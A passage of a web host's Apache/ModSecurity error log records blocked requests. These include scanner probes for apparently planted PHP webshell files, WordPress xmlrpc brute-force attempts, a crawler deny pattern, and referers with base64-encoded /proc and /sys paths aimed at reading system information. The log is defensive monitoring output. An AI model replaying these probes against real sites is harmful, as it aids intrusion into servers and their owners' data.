186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/mg.php"] [unique_id "ai3xHSmiP80klyS0NnrumwAAATE"] [Sat Jun 13 18:09:01.546452 2026] [security2:error] [pid 531155:tid 531199] [remote 17.246.15.204:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 204.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xHSmiP80klyS0NnrunQABfys"] [Sat Jun 13 18:09:01.578944 2026] [access_compat:error] [pid 531797:tid 531932] [remote 57.141.14.66:26676] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:01.579386 2026] [access_compat:error] [pid 531797:tid 531932] [remote 57.141.14.66:26676] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:01.717998 2026] [security2:error] [pid 531797:tid 532030] [client 20.151.217.54:65164] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/htto.php"] [unique_id "ai3xHcTA7b1mZrmcA-8XPQAAAjU"] [Sat Jun 13 18:09:01.798047 2026] [security2:error] [pid 531797:tid 532051] [client 20.151.217.54:17089] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/777.php"] [unique_id "ai3xHcTA7b1mZrmcA-8XQAAAAkk"] [Sat Jun 13 18:09:01.844012 2026] [security2:error] [pid 531797:tid 532111] [client 191.234.188.123:35672] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/gdn.php"] [unique_id "ai3xHcTA7b1mZrmcA-8XQgAAAoQ"] [Sat Jun 13 18:09:01.867635 2026] [access_compat:error] [pid 531797:tid 531874] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L2N3ZA== [Sat Jun 13 18:09:01.867933 2026] [access_compat:error] [pid 531797:tid 531874] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L2N3ZA== [Sat Jun 13 18:09:01.926230 2026] [access_compat:error] [pid 531155:tid 531241] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:01.926641 2026] [access_compat:error] [pid 531155:tid 531241] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:01.945613 2026] [access_compat:error] [pid 531797:tid 531892] [remote 57.141.14.110:47308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:01.946021 2026] [access_compat:error] [pid 531797:tid 531892] [remote 57.141.14.110:47308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:02.006622 2026] [security2:error] [pid 531797:tid 532049] [client 20.151.217.54:48076] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/zzx.php"] [unique_id "ai3xHsTA7b1mZrmcA-8XTgAAAkc"] [Sat Jun 13 18:09:02.062553 2026] [access_compat:error] [pid 531155:tid 531171] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkxL2N3ZA== [Sat Jun 13 18:09:02.062998 2026] [access_compat:error] [pid 531155:tid 531171] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkxL2N3ZA== [Sat Jun 13 18:09:02.089438 2026] [security2:error] [pid 531797:tid 531996] [client 45.61.188.26:63474] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.188.61.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jlyricz.com"] [uri "/wp-login.php"] [unique_id "ai3xHsTA7b1mZrmcA-8XTwAAAhQ"] [Sat Jun 13 18:09:02.116080 2026] [security2:error] [pid 531797:tid 532092] [client 20.151.217.54:16972] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/s-axi.php"] [unique_id "ai3xHsTA7b1mZrmcA-8XVQAAAnE"] [Sat Jun 13 18:09:02.326970 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.14:39816] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:02.327575 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.14:39816] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:02.329453 2026] [access_compat:error] [pid 531797:tid 531958] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTk4NjIyL25ldA== [Sat Jun 13 18:09:02.329929 2026] [access_compat:error] [pid 531797:tid 531958] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTk4NjIyL25ldA== [Sat Jun 13 18:09:02.330857 2026] [access_compat:error] [pid 531797:tid 531974] [remote 57.141.14.44:45935] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:02.331289 2026] [access_compat:error] [pid 531797:tid 531974] [remote 57.141.14.44:45935] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:02.397635 2026] [security2:error] [pid 531797:tid 532076] [client 191.234.188.123:43007] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/pros.php"] [unique_id "ai3xHsTA7b1mZrmcA-8XZwAAAmI"] [Sat Jun 13 18:09:02.450855 2026] [access_compat:error] [pid 531155:tid 531282] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OnNjcm9sbGxvY2svc3Vic3lzdGVtL2lucHV0Mjo6c2Nyb2xsbG9jaw== [Sat Jun 13 18:09:02.451281 2026] [access_compat:error] [pid 531155:tid 531282] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OnNjcm9sbGxvY2svc3Vic3lzdGVtL2lucHV0Mjo6c2Nyb2xsbG9jaw== [Sat Jun 13 18:09:02.669169 2026] [security2:error] [pid 531797:tid 532034] [client 191.233.234.186:60618] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/spawns.php"] [unique_id "ai3xHsTA7b1mZrmcA-8XcwAAAjk"] [Sat Jun 13 18:09:02.689830 2026] [access_compat:error] [pid 531155:tid 531196] [remote 57.141.14.92:26132] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:02.690289 2026] [access_compat:error] [pid 531155:tid 531196] [remote 57.141.14.92:26132] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:02.890046 2026] [access_compat:error] [pid 531797:tid 531875] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNDY2MTQzL25ldA== [Sat Jun 13 18:09:02.890509 2026] [access_compat:error] [pid 531797:tid 531875] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNDY2MTQzL25ldA== [Sat Jun 13 18:09:02.919773 2026] [access_compat:error] [pid 531797:tid 531891] [remote 57.141.14.110:47314] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:02.920180 2026] [access_compat:error] [pid 531797:tid 531891] [remote 57.141.14.110:47314] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:02.969720 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZS9kcml2ZXIvbW9kdWxl [Sat Jun 13 18:09:02.970200 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZS9kcml2ZXIvbW9kdWxl [Sat Jun 13 18:09:03.000784 2026] [security2:error] [pid 531797:tid 531970] [remote 17.22.245.85:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 85.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xHsTA7b1mZrmcA-8XhwACLWk"] [Sat Jun 13 18:09:03.069020 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:09:03.069475 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:09:03.443785 2026] [access_compat:error] [pid 531797:tid 531929] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:09:03.444206 2026] [access_compat:error] [pid 531797:tid 531929] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:09:03.477238 2026] [access_compat:error] [pid 531797:tid 531950] [remote 57.141.14.54:38747] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:03.477686 2026] [access_compat:error] [pid 531797:tid 531950] [remote 57.141.14.54:38747] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:03.561428 2026] [access_compat:error] [pid 531155:tid 531283] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:09:03.561875 2026] [access_compat:error] [pid 531155:tid 531283] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:09:03.800069 2026] [access_compat:error] [pid 531155:tid 531233] [remote 57.141.14.103:28450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:03.800335 2026] [access_compat:error] [pid 531155:tid 531233] [remote 57.141.14.103:28450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:03.907743 2026] [access_compat:error] [pid 531155:tid 531275] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:09:03.908215 2026] [access_compat:error] [pid 531155:tid 531275] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:09:03.915602 2026] [security2:error] [pid 531797:tid 532098] [client 191.234.188.123:36069] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/Jcrop.php"] [unique_id "ai3xH8TA7b1mZrmcA-8XqAAAAnc"] [Sat Jun 13 18:09:03.932971 2026] [access_compat:error] [pid 531797:tid 531968] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNDcxOTc3L2N3ZA== [Sat Jun 13 18:09:03.933415 2026] [access_compat:error] [pid 531797:tid 531968] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNDcxOTc3L2N3ZA== [Sat Jun 13 18:09:03.945875 2026] [security2:error] [pid 531797:tid 531903] [remote 17.22.245.146:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 146.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xH8TA7b1mZrmcA-8XqwACZic"] [Sat Jun 13 18:09:03.980562 2026] [access_compat:error] [pid 531155:tid 531165] [remote 57.141.14.84:36802] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:03.984755 2026] [access_compat:error] [pid 531155:tid 531165] [remote 57.141.14.84:36802] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:03.989309 2026] [security2:error] [pid 531797:tid 531908] [remote 47.128.124.196:60498] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "coscharis-tech.com"] [uri "/product-category/phone-accessories/power-banks/"] [unique_id "ai3xH8TA7b1mZrmcA-8XrAACgyw"] [Sat Jun 13 18:09:04.034699 2026] [access_compat:error] [pid 531155:tid 531273] [remote 57.141.14.68:59216] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:04.035145 2026] [access_compat:error] [pid 531155:tid 531273] [remote 57.141.14.68:59216] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:04.035383 2026] [access_compat:error] [pid 531155:tid 531167] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:09:04.035874 2026] [access_compat:error] [pid 531155:tid 531167] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:09:04.089109 2026] [security2:error] [pid 531797:tid 531909] [remote 17.246.23.204:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 204.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xIMTA7b1mZrmcA-8XrgACjS0"] [Sat Jun 13 18:09:04.291207 2026] [security2:error] [pid 531155:tid 531405] [client 20.151.217.54:17042] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/wp-scanner.php"] [unique_id "ai3xICmiP80klyS0NnrvEwAAAYI"] [Sat Jun 13 18:09:04.309750 2026] [security2:error] [pid 531155:tid 531376] [client 172.56.168.133:28466] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xICmiP80klyS0NnrvFQAAAWU"] [Sat Jun 13 18:09:04.309931 2026] [security2:error] 